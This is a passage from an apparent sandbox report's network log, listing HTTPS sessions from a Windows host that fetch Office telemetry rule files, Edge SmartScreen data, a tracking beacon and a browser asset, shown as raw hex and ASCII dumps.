da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-13 13:41:32 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49879	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:32 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134132Z-16547b76f7f2g4rlhC1DFWnx880000000h4g00000000980t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49877	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:32 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134132Z-16547b76f7fx6rhxhC1DFW76kg0000000h9000000000258v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49876	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:32 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134132Z-16547b76f7fvllnfhC1DFWxkg80000000h4000000000mtqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49881	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:32 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ad69bf53-c01e-0082-08a7-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134132Z-1749fc9bdbdpg69chC1DFWhecg00000000vg00000000e5z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49882	4.153.29.52	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiRjlDYVczY0cwTktpZ08xbGc3OEp2dz09IiwgImhhc2giOiJlRFluRjZNdytIVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-13 13:41:32 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-13 13:41:32 UTC	248	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-13 13:41:32 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	49885	3.168.2.84	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:32 UTC	925	OUT	GET /b?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 13 Nov 2024 13:41:33 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=18Ccefbd5f4bbe988ef659d1731505293; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=18Ccefbd5f4bbe988ef659d1731505293; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 597c23204cb5e5b529d54a683a4fb7a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P2 X-Amz-Cf-Id: 8__TJE71_uclqk6bQTr_9etrgyxHIFIj0VvS88hZYLxbvXKtm0-FDw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	49887	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6a8e19b3-801e-0039-4da3-2c28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-16547b76f7ftdm8dhC1DFWs13g0000000h70000000006vm4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 